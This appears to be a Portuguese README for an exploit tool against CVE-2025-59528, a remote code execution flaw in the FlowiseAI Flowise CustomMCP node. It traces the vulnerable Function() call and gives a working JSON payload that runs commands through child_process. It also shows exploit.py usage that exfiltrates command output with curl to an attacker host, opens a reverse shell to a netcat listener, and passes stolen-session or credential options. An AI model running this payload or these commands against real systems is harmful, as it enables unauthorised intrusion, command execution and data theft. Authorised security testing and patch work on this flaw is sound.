
CVE-2025-59528 - FlowiseAI CustomMCP Execução Remota de Código
CVSS 10.0 (Crítico) | Blind RCE | FlowiseAI Flowise >= 2.2.7-patch.1 e < 3.0.6
Uma vulnerabilidade crítica de execução remota de código no nó CustomMCP do FlowiseAI Flowise. A função convertToValidJSONString passa a entrada fornecida pelo usuário do parâmetro mcpServerConfig diretamente para o construtor Function() do JavaScript, funcionalmente equivalente a eval(), permitindo a execução de código JavaScript arbitrário com privilégios totais do runtime Node.js.
Function()JSON5.parse()Em packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, linhas 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
O fluxo de contaminação:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
Esta é uma blind RCE - a saída do comando não é refletida na resposta HTTP. Use técnicas de callback (curl/wget) ou um reverse shell para confirmar a execução.
| Condição | Detalhes |
|---|---|
| Versão do Flowise | >= 2.2.7-patch.1, < 3.0.6 |
| Acesso de rede | Endpoint da API na porta 3000 (padrão) |
| Autenticação | Opcional para < 3.0.1, obrigatório para >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrar saída via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Iniciar listener
nc -lvnp 4444
# Disparar exploit (tenta automaticamente bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPEsta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha autorização adequada antes de testar.